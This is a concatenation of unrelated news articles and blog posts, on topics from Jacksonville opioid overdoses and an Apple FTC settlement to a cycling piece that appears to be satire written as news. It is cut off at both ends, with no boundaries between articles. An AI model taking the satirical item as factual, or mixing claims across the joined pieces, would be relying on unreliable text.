overdose calls are happening all over, here are the top five ZIP codes for those calls in Duval County in the second half of 2016: 32210: 126 calls 32218: 101 calls 32244: 93 calls 32205: 78 calls 32211: 75 calls Narcan is saving lives, but overdose numbers aren't dropping; they are skyrocketing. Calls to 911 for overdoses have tripled, and this growing epidemic has reached local government. "The public awareness is just not there. The people don't know it's all around them," said Jacksonville City Councilman Bill Gulliford. Those trying to get high on opioids is touching all neighborhoods, transcending race, age and gender. JFRD data shows overdose victims are men, women, white, black, poor, middle class, wealthy, young and old. Gulliford says more needs to be done, and he's bringing together families, doctors and rescue crews -- even the medical examiner -- all who see the worst of this addiction every single day. "This is sucking the life out of us," warned the chief medical examiner covering Northeast Florida, Dr. Valerie Rao. More bodies are arriving at the coroner's office every week from opioid overdoses. In 2015, there were 201 drug overdose deaths. In 2016, that number more than doubled to 464. For toxicology alone, the bill to taxpayers is $500,000 a year, and rising. With so many deaths, it's getting difficult to keep up. "We are overwhelmed. Help us, that's all I'm asking," said Rao. Help us watch your children, your brothers and sisters, your parents. We can all help each other." In 2016, 90 percent of those who died from an overdose ranged in age from 20 and 60 years old, but most were between the age of 30 and 39. That's the same age as Alan Lemke's friends. Opioid addiction killed them, too. "All my friends have overdosed and they are gone. I don't have anybody left. I know a lot of people will hear this and they think he is a drug addict, he is the worst of the worst, but I am not. I came from middle class," said Lemke. JFRD overdose transports, costs *estimated based on current trends Rising costs of overdoses The current price for the Jacksonville Fire and Rescue Department to transport a patient treated as an overdose is $996. In 2015, JFRD transported 1,903 patients treated as overdose costing $1,895,388. In 2016, JFRD transported 3,156 overdose patients costing $3,143,376. If the trend continues, JFRD is preparing to transport 4,469 overdose patients in 2017, costing $4,451,124. As for Narcan, from May 2016 to January 2017, a 9-month period, JFRD issued $74,854 in Narcan. The resupply and stocking of new units costs $15,000 a month. Opioid addiction can happen instantly Beaches Recovery Medical Director Dr. Marcus DeCarvalho says a person who goes out seeking heroin, can likely be a person who can't get his or her prescription pain killers anymore. They are addicted to their prescribed opioids and have to get that next high. "Addiction is essentially a highjacking of your brain," he said. "The brain begins to believe it needs those things to survive just like food and sleep." DeCarvalho says there's documented research that shows just one use can do it. UNCUT: Dr. DeCarvalho talks about opioid epidemic "There is a part of your mind saying, 'don't do this,'" said recovering opioid addict Alan Lemke, while the other part of your mind says, "Go get high." Lemke began smoking and drinking alcohol when he was 10 years old. He says it was to cope with a painful childhood. When he was 24, he had a back injury and a doctor prescribed opioids to kill his pain. Lemke admits he was hooked instantly. "I'm middle class. I was raised pretty well. My parents were never drug addicts, my sister is not a drug addict or an alcoholic. Everything was really good. Everything was real nice," said Lemke. He's now 32 years old, and after Lemke nearly lost his life to his habit, he's getting clean at Beaches Recovery under DeCarvalho's care. "If we don't have more doctors that are going to take the same stance and go after this and educate and not just treat we'll never overcome this. I mean it's huge. The CDC has called this an epidemic worldwide. The CDC is calling this a pandemic," said DeCarvalho. "We use the most opioids in the world." DeCarvalho says this is a deadly mental illness that requires treatment and physicians need to find a better way to prescribe for pain. How Narcan works Narcan has proven over and over it can save the life of an overdosing opioid user. "The way Narcan works is if there is an opioid in your brain. You've taken so much and you stop breathing and you fall, just like how Alan [Lemke] was in the airport," explained DeCarvalho. "When we deliver the Narcan, it blocks that receptor and then it competes with the opioid in there and pulls it right out. So literally, what should happen with an opioid is that the patient should just wake up." Because it is so effective in saving lives, first responders carry doses of the so-called antidote with them. And, if someone is overdosing with fentanyl in the mix, paramedics know they may have to use more than one dose of Narcan to help them survive. Fentanyl is that strong. "If you overdose on fentanyl, and I give you Narcan, it's not even going to work. I have to hook you up to an IV bag of Narcan in order for it to work," explained DeCarvalho. He says even more Narcan is being used on the spot, because doctors and first responders are seeing drugs laced with fentanyl "I am going to assume he overdosed on fentanyl. That should be the assumption because that's where we are today," added DeCarvalho. Opioid overdoses JFRD says this is what happens step-by-step during an opioid overdose: Person feels elation, deep relaxation and sleepiness Opioids attack receptors that control breathing Breathing slows or stops Oxygen can't get to the brain Heart stops Unconscious, coma, death OR long-term brain, nerve or physical damage JFRD says these are the signs and symptoms to look for in a person who has overdosed on opioids: Unable to respond or unconscious Awake but with slowed or slurred speech Pinpoint pupils (miosis) Blue skin tinge: Usually lips and fingertips show first Body limp and doesn't respond to stimulation Face very pale Pulse (heartbeat) is slow, erratic, or not there at all May be vomiting Passing in and out of consciousness Choking sounds or a gurgling, snoring noise heard Breathing is very slow, irregular, or has stopped JFRD has assigned an individual to track the overdose data on a monthly basis and is assisting other agencies with the same. It is also collaborating with area agencies and nonprofits on task forces and attending community forums to aid in education and awareness of this growing problem. However, JFRD says it is limited in its ability to decrease the growing incidence of overdoses as it is primarily an emergency response entity. While its paramedics are saving lives, JFRD says it is also only buying time. If you or someone you know is battling addiction. LSF Health Systems Inc. is a program that refers patients to a treatment facility. You can call 877-229-9098 24 hours a day for help. Copyright 2017 by WJXT News4Jax - All rights reserved.
Nine young Palestinians were killed and 15 others injured in an overnight Israeli air raid on a Gaza Strip beach while watching the World Cup semifinal game between the Netherlands and Argentina. Follow RT's Live Updates on Israel-Gaza airstrikes here The victims were sitting in a beach café in Khan Yunis when the Israeli F-16 fighter jet struck it. None of those killed had been warned, according to Gulf News sources. However, this information could not be independently verified. After the strike, there was nothing left of the popular seaside café. "It was a normal social occasion," a local policeman employed by the Palestinian Authority, Wael Soboh, told AFP. "The boys ate their Ramadan iftar meal here, and then began watching the match. It is not a military area.” Gaza death toll over 80 as third day of Israel offensive continues Eight of the victims were killed immediately, according to medical sources. The ninth body was initially suspected to be buried in the sand. However, Gaza's emergency services later said it had located the body. The majority of those killed in the strike were in their 20s, residents said. Three of them – Ahmed, Suleiman, and Mussa Astal – were extended family members. In a separate strike on Khan Yunis early Thursday morning, eight members of one family – including five children – were killed in an airstrike. Khan Yunis is located in the south of the Gaza Strip. The Palestinian death toll rose to 88 as Israel's Operation Protective Edge continued for the third day, according to the UN. At least 18 children have been killed in the Gaza Strip since the operation began. A further 339 people have been injured, many of them civilians.
A referendum on a united Ireland is inevitable following the Brexit vote, the author of a report by an Irish parliamentary committee says. The study urges both Dublin and London not to repeat the fallout from Britain’s EU referendum by failing to prepare for the possibility it will lead to Irish reunification. Mark Daly, the Fianna Fáil Senator, who compiled the report, said: “Last year, our former Taoiseach, Enda Kenny, said the EU needs to prepare for a united Ireland. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. “And it's clear from the 17 recommendations by the committee that a lot of work needs to be done in advance of a referendum.” Mr Daly added: “From talking to people in both communities in the North, it is clear that everybody believes that at some stage there will be a referendum. “But we must learn the lesson from Brexit and the lesson from Brexit is that you don't have a referendum and then tell people what the future will look like. “What you do is you lay out the future in great detail, you talk about the issues of great concern to all communities.” The report – entitled Brexit and the Future of Ireland: Uniting Ireland and its People in Peace and Prosperity – sets out detailed options for the island of Ireland in the wake of Brexit. It calls on the Republic, in the final Brexit agreement between the EU and the UK, to demand a “special status” for Northern Ireland and that there should be no new passport controls. Published by the Joint Oireachtas Committee on the Implementation of the Good Friday Agreement, the report also emphasises the need to protect EU structural funds in Northern Ireland, after Brexit. Last year, Northern Ireland broke with England by voting against Brexit, by 56 per cent to 44 per cent. Since then, the issue of the Irish border has emerged as crucial in the exit negotiations, with Brussels insisting progress is a red line before trade talks can begin. The Irish government declared it wants special status for Northern Ireland after Brexit, rejecting Britain’s suggestion that better technology can police trade between North and South after 2019. Meanwhile, under the terms of the Good Friday Agreement, the UK Government is legally obliged to hold a referendum on Irish reunification if polls show support for one. Furthermore, ministers have acknowledged that Northern Ireland, if it backed reunification, would be able to rejoin the EU as part of a united Ireland with the Republic. Unlike Scotland, which has been told it would have to reapply for membership of the bloc if it ever backed independence, the North would automatically be part of the EU. “Northern Ireland would be in a position of becoming part of an existing EU member state, rather than seeking to join the EU as a new independent state,” Brexit Secretary David Davis wrote, earlier this year. It is thought to be the first report by an Irish Government, department or parliamentary committee into achieving Irish unity for more than 30 years. One opinion poll suggested that voters in the Republic overwhelmingly back reunification, putting support at 79 per cent. However, a BBC poll, in September last year, found 63 per cent of people in Northern Ireland supported staying in the UK, with only 22 per cent backing a united Ireland We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now.
In the course of thinking about metrics, I keep coming across cases of over-promoted research. An early case was “Why honey isn’t a wonder cough cure: more academic spin“. More recently, I noticed these examples. “Effect of Vitamin E and Memantine on Functional Decline in Alzheimer Disease".(Spoiler -very little), published in the Journal of the American Medical Association. ” and ” Primary Prevention of Cardiovascular Disease with a Mediterranean Diet” , in the New England Journal of Medicine (which had second highest altmetric score in 2013) and "Sleep Drives Metabolite Clearance from the Adult Brain", published in Science In all these cases, misleading press releases were issued by the journals themselves and by the universities. These were copied out by hard-pressed journalists and made headlines that were certainly not merited by the work. In the last three cases, hyped up tweets came from the journals. The responsibility for this hype must eventually rest with the authors. The last two papers came second and fourth in the list of highest altmetric scores for 2013 Here are to two more very recent examples. It seems that every time I check a highly tweeted paper, it turns out that it is very second rate. Both papers involve fMRI imaging, and since the infamous dead salmon paper, I’ve been a bit sceptical about them. But that is irrelevant to what follows. Boost your memory with electricity That was a popular headline at the end of August. It referred to a paper in Science magazine: “Targeted enhancement of cortical-hippocampal brain networks and associative memory” (Wang, JX et al, Science, 29 August, 2014) This study was promoted by the Northwestern University "Electric current to brain boosts memory". And Science tweeted along the same lines. Science‘s link did not lead to the paper, but rather to a puff piece, " Rebooting memory with magnets ". Again all the emphasis was on memory, with the usual entirely speculative stuff about helping Alzheimer’s disease. But the paper itself was behind Science‘s paywall. You couldn’t read it unless your employer subscribed to Science. All the publicity led to much retweeting and a big altmetrics score. Given that the paper was not open access, it’s likely that most of the retweeters had not actually read the paper. When you read the paper, you found that is mostly not about memory at all. It was mostly about fMRI. In fact the only reference to memory was in a subsection of Figure 4. This is the evidence. That looks desperately unconvincing to me. The test of significance gives P = 0.043. In an underpowered study like this, the chance of this being a false discovery is probably at least 50%. A result like this means, at most, "worth another look". It does not begin to justify all the hype that surrounded the paper. The journal, the university’s PR department, and ultimately the authors, must bear the responsibility for the unjustified claims. Science does not allow online comments following the paper, but there are now plenty of sites that do. NHS Choices did a fairly good job of putting the paper into perspective, though they failed to notice the statistical weakness. A commenter on PubPeer noted that Science had recently announced that it would tighten statistical standards. In this case, they failed. The age of post-publication peer review is already reaching maturity Boost your memory with cocoa Another glamour journal, Nature Neuroscience, hit the headlines on October 26, 2014, in a paper that was publicised in a Nature podcast and a rather uninformative press release. "Enhancing dentate gyrus function with dietary flavanols improves cognition in older adults. Brickman et al., Nat Neurosci. 2014. doi: 10.1038/nn.3850.". The journal helpfully lists no fewer that 89 news items related to this study. Mostly they were something like “Drinking cocoa could improve your memory” (Kat Lay, in The Times). Only a handful of the 89 reports spotted the many problems. A puff piece from Columbia University’s PR department quoted the senior author, Dr Small, making the dramatic claim that “If a participant had the memory of a typical 60-year-old at the beginning of the study, after three months that person on average had the memory of a typical 30- or 40-year-old.” Like anything to do with diet, the paper immediately got circulated on Twitter. No doubt most of the people who retweeted the message had not read the (paywalled) paper. The links almost all led to inaccurate press accounts, not to the paper itself. But some people actually read the paywalled paper and post-publication review soon kicked in. Pubmed Commons is a good site for that, because Pubmed is where a lot of people go for references. Hilda Bastian kicked off the comments there (her comment was picked out by Retraction Watch). Her conclusion was this. "It’s good to see claims about dietary supplements tested. However, the results here rely on a chain of yet-to-be-validated assumptions that are still weakly supported at each point. In my opinion, the immodest title of this paper is not supported by its contents." (Hilda Bastian runs the Statistically Funny blog -“The comedic possibilities of clinical epidemiology are known to be limitless”, and also a Scientific American blog about risk, Absolutely Maybe.) NHS Choices spotted most of the problems too, in "A mug of cocoa is not a cure for memory problems". And so did Ian Musgrave of the University of Adelaide who wrote "Most Disappointing Headline Ever (No, Chocolate Will Not Improve Your Memory)", Here are some of the many problems. The paper was not about cocoa. Drinks containing 900 mg cocoa flavanols (as much as in about 25 chocolate bars) and 138 mg of (−)-epicatechin were compared with much lower amounts of these compounds The abstract, all that most people could read, said that subjects were given "high or low cocoa–containing diet for 3 months". Bit it wasn’t a test of cocoa: it was a test of a dietary "supplement". The sample was small (37ppeople altogether, split between four groups), and therefore under-powered for detection of the small effect that was expected (and observed) The authors declared the result to be "significant" but you had to hunt through the paper to discover that this meant P = 0.04 (hint -it’s 6 lines above Table 1). That means that there is around a 50% chance that it’s a false discovery. The test was short -only three months The test didn’t measure memory anyway. It measured reaction speed, They did test memory retention too, and there was no detectable improvement. This was not mentioned in the abstract, Neither was the fact that exercise had no detectable effect. The study was funded by the Mars bar company. They, like many others, are clearly looking for a niche in the huge "supplement" market, The claims by the senior author, in a Columbia promotional video that the drink produced "an improvement in memory" and "an improvement in memory performance by two or three decades" seem to have a very thin basis indeed. As has the statement that "we don’t need a pharmaceutical agent" to ameliorate a natural process (aging). High doses of supplements are pharmaceutical agents. To be fair, the senior author did say, in the Columbia press release, that "the findings need to be replicated in a larger study—which he and his team plan to do". But there is no hint of this in the paper itself, or in the title of the press release "Dietary Flavanols Reverse Age-Related Memory Decline". The time for all the publicity is surely after a well-powered study, not before it. The high altmetrics score for this paper is yet another blow to the reputation of altmetrics. One may well ask why Nature Neuroscience and the Columbia press office allowed such extravagant claims to be made on such a flimsy basis. What’s going wrong? These two papers have much in common. Elaborate imaging studies are accompanied by poor functional tests. All the hype focusses on the latter. These led me to the speculation ( In Pubmed Commons) that what actually happens is as follows. Authors do big imaging (fMRI) study. Glamour journal says coloured blobs are no longer enough and refuses to publish without functional information. Authors tag on a small human study. Paper gets published. Hyped up press releases issued that refer mostly to the add on. Journal and authors are happy. But science is not advanced. It’s no wonder that Dorothy Bishop wrote "High-impact journals: where newsworthiness trumps methodology". It’s time we forgot glamour journals. Publish open access on the web with open comments. Post-publication peer review is working But boycott commercial publishers who charge large amounts for open access. It shouldn’t cost more than about £200, and more and more are essentially free (my latest will appear shortly in Royal Society Open Science). Follow-up Hilda Bastian has an excellent post about the dangers of reading only the abstract "Science in the Abstract: Don’t Judge a Study by its Cover" 4 November 2014 I was upbraided on Twitter by Euan Adie, founder of Almetric.com, because I didn’t click through the altmetric symbol to look at the citations "shouldn’t have to tell you to look at the underlying data David" and "you could have saved a lot of Google time". But when I did do that, all I found was a list of media reports and blogs -pretty much the same as Nature Neuroscience provides itself. More interesting, I found that my blog wasn’t listed and neither was PubMed Commons. When I asked why, I was told "needs to regularly cite primary research. PubMed, PMC or repository links”. But this paper is behind a paywall. So I provide (possibly illegally) a copy of it, so anyone can verify my comments. The result is that altmetric’s dumb algorithms ignore it. In order to get counted you have to provide links that lead nowhere. So here’s a link to the abstract (only) in Pubmed for the Science paper http://www.ncbi.nlm.nih.gov/pubmed/25170153 and here’s the link for the Nature Neuroscience paper http://www.ncbi.nlm.nih.gov/pubmed/25344629 It seems that altmetrics doesn’t even do the job that it claims to do very efficiently. It worked. By later in the day, this blog was listed in both Nature‘s metrics section and by altmetrics. com. But comments on Pubmed Commons were still missing, That’s bad because it’s an excellent place for post-publications peer review.
Teresa Giudice net worth: Teresa Giudice is a reality television star and author who has a net worth of of -$11 million. Teresa Giudice and her husband Joe are cast members on the Bravo reality show The Real Housewives of New Jersey and have been since the beginning. She was born Teresa Gorga in Paterson, New Jersey in 1972 to parents who are Italian immigrants. She has one brother, Joe Gorga, who's wife, Melissa, is also a cast member of The Real Housewives of New Jersey. Teresa Giudice attended Berkeley College, where she majored in Fashion Marketing and Management and after leaving college, held the position as a contributor to Vogue Magazine; she also worked for Macys as an accessories buyer. In addition to the Real Housewives, Teresa Guidice has appeared on shows like Live With Regis and Kelly, TheToday Show, Rachael Ray, Who Wants to be a Millionaire, and more. She has appeared on the cover of Life & Style, U.S. Weekly, People and OK Magazine. She periodically blogs for the websites of People.com and Bravotv.com, and has released four cookbooks called Skinny Italian, Fabulicious!, Fabulicious Fast & Fit, and Fabulicious! On the Grill. Teresa has also established her own jewelry line, as well as her fashion and accessories line called TG Fabulicious. She produces everything from flowered hairbows to baseball caps, designed for young girls and women. There are screen printed T-shirts with expressions such as, "Happy Wife, Happy Life" and "Delicious." Her jewelry consists of bracelets, which she has named after each of her daughters, Audriana, (2009), Milania (2005), Gabriella (2004), and Gia (2001). She also showcased her business savvy while starring on Celebrity Apprentice in 2012, where she raised $70k for the charity, NephCure. In 2011, Joe and Teresa filed for bankruptcy. In their filing they claimed to be more than $11 million in debt. They were forced to auction many of their household items and put their mansion up for sale. On July 30, 2013, both Joe and Teresa Giudice were indicted with 39 counts of conspiracy to commit mail fraud, bank fraud, wire fraud, bankruptcy fraud and making false statements on loan applications. Both Teresa and Joe face a maximum of 50 years in jail and Joe, who is not a US citizen, could be deported back to Italy. In the indictment, the government claims Joe and Teresa overstated their incomes to receive roughly $4.6 million in mortgages and lines of credit. They allegedly then under-stated their income and net worth while filing for bankruptcy protection. Teresa Giudice served her prison sentence at Danbury Correctional Facility for women.
Pinot points out his future crappy day The French climber, who has had several bad days in the last two Tours, pointed to stage five as his most likely drop down and out of the GC ranking. The stage from Vittel to the summit finish at La Planche Des Belles Filles is a short but nasty test. It is only 5.9km in length but it kicks fast and hard with a 10% grade that jumps to 14% at the top. In the 2016 Tour de France, Pinot lost three minutes on stage seven as he struggled up the first major climb of the race, the Col d’Aspin In the first week of the 2015 Tour, Pinot lost 3:23 on stage four’s cobblestone run from Seraing to Cambrai. In that case it was a mechanical issue but he’s already lost almost three minutes in the previous stages. By signaling what he sees as his likely Jour Sans, Pinot and his Francaise Des Jeux squad have nine months to work out a strategy to avoid the future meltdown. “Jerome saw the big yellow map of France. He knew there was going to be a problem somewhere in those mountains,” said team boss Madiot. “Now we see it is La Planche des Belles Filles. I will be in the car behind him yelling extra loud.” Pinot’s surprise announcement of his potential failure on stage five was seen by many as a sign of maturity. “He stood up in front of Froome and Nibali and Quintana and said, ‘Here is where I will fall apart. Here is where I crash and burn,’” said Lucien Lamaire, a performance director at FDJ. “That is a mark of confidence. He knows what he needs to do and where.” While Pinot did pinpoint the exact stage for his jour sans, he was unable to predict how much time he would lose. “It could be two minutes, it could be ten, one never knows with Pinot,” said Madiot. “Maybe he should ride the Giro d’Italia after all.
Father in Turkey’s remote southeast makes model Bosphorus Bridge for curious daughter HAKKARİ A father in the southeastern province of Hakkari who could not afford to take his daughter to Istanbul has made a makeshift model of the city’s Bosphorus Bridge for the girl, who has long wanted to see it.Aydın Güder, who lives with his family in the Yüksekova district of Hakkari, built a miniature replica of the Bosphorus Bridge using curtain materials and umbrellas for his daughter Yağmur, also adding lighting and seagull sounds to make the model more realistic.“I cannot take her to Istanbul due to financial difficulties. So I made a model of the Bosphorus Bridge for her, because she said me she wanted to see the bridge and hear the voices of seagulls. It took two-and-a-half days to complete, and it is two meters and ten centimeters long,” Güder said.After news of the model was reported, the Youth and Sports Ministry issued a statement on June 18 saying it would sponsor a trip to bring Yağmur and her classmates to Istanbul, state-run Anadolu Agency has reported.
Even as China cuts access to some foreign online services, it is laying more fiber optic cables to improve its connection to global Internet networks. China recently added seven new access points to the world’s Internet backbone, adding to the three points that connect through Beijing, Shanghai, and Guangzhou, the country’s Ministry of Industry and Information Technology announced on Monday. To expand its Internet backbone networks, China laid over 3,000 kilometers worth of fiber optic cable, and invested 2.9 billion yuan (US$477 million) in its construction. Driving the project were the country’s three state-owned telecom operators, which provide most of China’s Internet broadband. The additional Internet infrastructure will help accelerate access speeds across the country, and ensure China’s Internet stays functional, the ministry added. Before, “a failure at one access point could easily cause a large-scale paralysis,” the ministry said. This happened in late 2006 when an earthquake damaged undersea cables, and temporarily cut some of China’s access to international websites. “Now by having 10 different backbone access points, the traffic going through Beijing, Shanghai and Guangzhou will lessen, and the Internet flow overall will be more balanced,” the ministry said. The additional access points were built in seven separate cities, most of which are more inland, such as Chengdu, Xi’an and Zhengzhou. Tests of the new Internet infrastructure showed website loading times cut by half or more, according to the ministry. The country has the world’s largest online population, at over 600 million users, and domestic Internet companies such as Alibaba Group, Baidu and Tencent are all expanding their services outside China. But last year, China’s Internet censorship rose to new levels, with the blocking of more foreign Internet services. In late December, the country cut all access to Google’s Gmail service, after blocking Facebook’s Instagram app, and the phone messaging app Line.
Image caption The French government says makers of tablets and smartphones currently "contribute nothing" to financially support digital content The French government is considering introducing a 1% tax on the sale of smartphones and tablets to help fund French film, music and images. The proposal estimates some 86m euros (£73m) could be raised per year. The bid is based on France's so-called "cultural exception" policy, which aims to protect culture from market forces and foreign competition. Broadcasters already pay fees to fund cultural projects but firms like Google and Apple are currently exempt. The proposal was released as part of a government-funded report specifically examining the rise of digital content. 'Battle for France' The study, led by the former CEO of French pay-TV channel Canal Plus, Pierre Lescure, proposed a total of 75 measures to "protect the cultural exception in the face of digital innovation". The report said taxing internet devices could help fund culture because consumers were spending more money on hardware than on content. "Today we have extremely sophisticated technological equipment that is extremely expensive to buy, but which contributes nothing to the financing of the works that circulate on that same equipment," Culture Minister Aurelie Filipetti said following the release of the report. "Companies that make these tablets must, in a minor way, be made to contribute part of the revenue from their sales to help creators." She added that the cultural exception remained "a battle for France". Lawmakers will spend the summer reviewing legislation based on the report's recommendations. The "culture tax" was likely to be included in a budget law to be submitted to parliament in November, Ms Filipetti said. Last year, France became embroiled in a row with Google over government plans to tax the company's revenue made from posting ads alongside online search results. The dispute was settled in February after Google agreed to create a 60m euro fund to help French media organisations improve their internet operations. The cultural exception policy, introduced in France in 1993, asserts that cultural goods are to be treated differently from other commercial goods. In particular, it is aimed at shielding French culture from the spread of US films.
Apple CEO Tim Cook. Justin Sullivan/Getty Images Apple reached a settlement with the FTC today regarding in-app purchases in its App Store for iPhones and iPads. It will refund $32.5 million to customers. The settlement comes because the FTC found it was easy for younger users to make in-app purchases without their parents' permission. In a leaked memo to Apple employees, Apple CEO Tim Cook says it was easy for some younger users to get their parents' devices and make purchases if their parents entered their iTunes passwords within 15 minutes. The 15 minute window has always been a part of the App Store as a way to make it less of a hassle to enter your password every time you want to buy an app. The FTC will also require Apple to change its App Store billing practices to make it clear when users are about to be charged for an in-app purchase, meaning it will have to tell users about that 15-minute window. Cook writes that Apple refunded in-app purchases to customers it believed were affected by this method. It emailed 28 million customers and ended up refunding the 37,000 claims it received. Here's Cook's letter, which was obtained by 9to5Mac: Team, I want to let you know that Apple has entered into a consent decree with the U.S. Federal Trade Commission. We have been negotiating with the FTC for several months over disclosures about the in-app purchase feature of the App Store, because younger customers have sometimes been able to make purchases without their parents' consent. I know this announcement will come as a surprise to many of you since Apple has led the industry by making the App Store a safe place for customers of all ages. From the very beginning, protecting children has been a top priority for the App Store team and everyone at Apple. The store is thoughtfully curated, and we hold app developers to Apple's own high standards of security, privacy, usefulness and decency, among others. The parental controls in iOS are strong, intuitive and customizable, and we've continued to add ways for parents to protect their children. These controls go far beyond the features of other mobile device and OS makers, most of whom don't even review the apps they sell to children. When we introduced in-app purchases in 2009, we proactively offered parents a way to disable the function with a single switch. When in-app purchases were enabled and a password was entered to download an app, the App Store allowed purchases for 15 minutes without requiring a password. The 15-minute window had been there since the launch of the App Store in 2008 and was aimed at making the App Store easy to use, but some younger customers discovered that it also allowed them to make in-app purchases without a parent's approval. We heard from some customers with children that it was too easy to make in-app purchases, so we moved quickly to make improvements. We even created additional steps in the purchasing process, because these steps are so helpful to parents. Last year, we set out to refund any in-app purchase which may have been made without a parent's permission. We wanted to reach every customer who might have been affected, so we sent emails to 28 million App Store customers - anyone who had made an in-app purchase in a game designed for kids. When some emails bounced, we mailed the parents postcards. In all, we received 37,000 claims and we will be reimbursing each one as promised. A federal judge agreed with our actions as a full settlement and we felt we had made things right for everyone. Then, the FTC got involved and we faced the prospect of a second lawsuit over the very same issue. It doesn't feel right for the FTC to sue over a case that had already been settled. To us, it smacked of double jeopardy. However, the consent decree the FTC proposed does not require us to do anything we weren't already going to do, so we decided to accept it rather than take on a long and distracting legal fight. The App Store is one of Apple's most important innovations, and it's wildly popular with our customers around the world because they know they can trust Apple. You and your coworkers have helped Apple earn that trust, which we value and respect above all else. Apple is a company full of disruptive ideas and innovative people, who are also committed to upholding the highest moral, legal and ethical standards in everything we do. As I've said before, we believe technology can serve humankind's deepest values and highest aspirations. As Apple continues to grow, there will inevitably be scrutiny and criticism along our journey. We don't shy away from these kinds of questions, because we are confident in the integrity of our company and our coworkers. Thank you for the hard work you do to delight our customers, and for showing them at every turn that Apple is worthy of their trust. Tim Here's the full announcement of the settlement from the FTC: Apple Inc. has agreed to provide full refunds to consumers, paying a minimum of $32.5 million, to settle a Federal Trade Commission complaint that the company billed consumers for millions of dollars of charges incurred by children in kids' mobile apps without their parents' consent. Under the terms of the settlement with the FTC, Apple also will be required to change its billing practices to ensure that it has obtained express, informed consent from consumers before charging them for items sold in mobile apps. "This settlement is a victory for consumers harmed by Apple's unfair billing, and a signal to the business community: whether you're doing business in the mobile arena or the mall down the street, fundamental consumer protections apply," said FTC Chairwoman Edith Ramirez. "You cannot charge consumers for purchases they did not authorize." The FTC's complaint alleges that Apple violated the FTC Act by failing to tell parents that by entering a password they were approving a single in-app purchase and also 15 minutes of additional unlimited purchases their children could make without further action by the parent. Apple offers many kids' apps in its App Store that allow users to incur charges within the apps. Many of these charges are for virtual items or currency used in playing a game. These charges generally range from 99 cents to $99.99 per in-app charge. The complaint alleges that Apple does not inform account holders that entering their password will open a 15-minute window in which children can incur unlimited charges with no further action from the account holder. In addition, according to the complaint, Apple has often presented a screen with a prompt for a parent to enter his or her password in a kids' app without explaining to the account holder that password entry would finalize any purchase at all. The rapidly expanding mobile arena has been a focus of the Commission's consumer protection efforts. In addition to its consumer protection enforcement activity in the mobile sphere, last year, the FTC issued staff reports addressing mobile payments and providing recommendations for the mobile industry on how to protect consumers as new and innovative payment systems come into use, advocating improved privacy disclosures in the mobile environment, and addressing advertising disclosures in the context of mobile devices. In its complaint, the FTC notes that Apple received at least tens of thousands of complaints about unauthorized in-app purchases by children. One consumer reported that her daughter had spent $2,600 in the app "Tap Pet Hotel," and other consumers reported unauthorized purchases by children totaling more than $500 in the apps "Dragon Story" and "Tiny Zoo Friends." According to the complaint, consumers have reported millions of dollars in unauthorized charges to Apple. The settlement requires Apple to modify its billing practices to ensure that Apple obtains consumers' express, informed consent prior to billing them for in-app charges, and that if the company gets consumers' consent for future charges, consumers must have the option to withdraw their consent at any time. Apple must make these changes no later than March 31, 2014. Under the settlement, Apple will be required to provide full refunds, totaling a minimum of $32.5 million, to consumers who were billed for in-app charges that were incurred by children and were either accidental or not authorized by the consumer. Apple must make these refunds promptly, upon request from an account holder. Apple is required to give notice of the availability of refunds to all consumers charged for in-app charges with instructions on how to obtain a refund for unauthorized purchases by kids. Should Apple issue less than $32.5 million in refunds to consumers within the 12 months after the settlement becomes final, the company must remit the balance to the Commission. The Commission vote to accept the consent agreement package containing the proposed consent order for public comment was 3-1, with Commissioner Wright voting no. Chairwoman Ramirez and Commissioner Brill issued a joint statement, and Commissioner Ohlhausen issued a separate statement. Commissioner Wright issued a dissenting statement. The FTC will publish a description of the consent agreement package in the Federal Register shortly. The agreement will be subject to public comment for 30 days, beginning today and continuing through Feb. 14, 2014, after which the Commission will decide whether to make the proposed consent order final. Interested parties can submit written comments electronically or in paper form by following the instructions in the "Invitation To Comment" part of the "Supplementary Information" section. Comments in electronic form should be submitted online by following the instructions on the web-based form. Comments in paper form should be mailed or delivered to: Federal Trade Commission, Office of the Secretary, Room H-113, 600 Pennsylvania Avenue, N.W., Washington, DC 20580. The FTC is requesting that any comment filed in paper form near the end of the public comment period be sent by courier or overnight service, if possible, because U.S. postal mail in the Washington area and at the Commission is subject to delay due to heightened security precautions. NOTE: The Commission issues an administrative complaint when it has "reason to believe" that the law has been or is being violated, and it appears to the Commission that a proceeding is in the public interest. When the Commission issues a consent order on a final basis, it carries the force of law with respect to future actions. Each violation of such an order may result in a civil penalty of up to $16,000. The Federal Trade Commission works for consumers to prevent fraudulent, deceptive, and unfair business practices and to provide information to help spot, stop, and avoid them. To file a complaint in English or Spanish, visit the FTC's online Complaint Assistant or call 1-877-FTC-HELP (1-877-382-4357). The FTC enters complaints into Consumer Sentinel, a secure, online database available to more than 2,000 civil and criminal law enforcement agencies in the U.S. and abroad. The FTC's website provides free information on a variety of consumer topics. Like the FTC on Facebook, follow us on Twitter, and subscribe to press releases for the latest FTC news and resources.
Bad news comes from the set of The Maze Runner: The Death Cure today as franchise star Dylan O’Brien was injured during production on the sequel bring directed by Wes Ball in British Columbia. Production has been halted after O’Brien was taken to the hospital to be treated, but there are conflicting reports as to the extent of his injuries and how they came to be. Find out more about the Dylan O’Brien injury on The Maze Runner set after the jump. TMZ was first to report news of Dylan O’Brien getting injured, saying that the actor was run over by a car during a stunt scene that went wrong. The gossip site said O’Brien was severely injured, saying that he had several broken bones. However, an official statement says that O’Brien was injured yesterday during production without citing specific details: “Dylan O’Brien was injured yesterday while filming Maze Runner: The Death Cure in Vancouver, Canada. He was immediately transferred to a local hospital for observation and treatment. Production on the film will be shut down while he recovers. Our thoughts go out to Dylan for a full and speedy recovery.” 20th Century Fox doesn’t mention any “severe” injury or broken bones, but the studio probably wouldn’t want to be forthcoming about those kind of details concerning the private health matters of one of their actors. However, Deadline seems to have heard more specifics on the injury as they say “O’Brien apparently fell off the back of a set that was supposed to look like the back of a train” and that’s how he fractured either his cheekbone or orbital socket. The details on that front are still uncertain. The only thing certain is that the film is on hiatus while O’Brien recovers. For anyone worried about the well-being of O’Brien, The Maze Runner writer James Dashner posted a couple updates to Twitter to put fans at ease: I just want to let everyone know that yes, Dylan was hurt, but that he’s going to be okay. Not life threatening in any way. — James Dashner (@jamesdashner) March 18, 2016 Production is postponed but 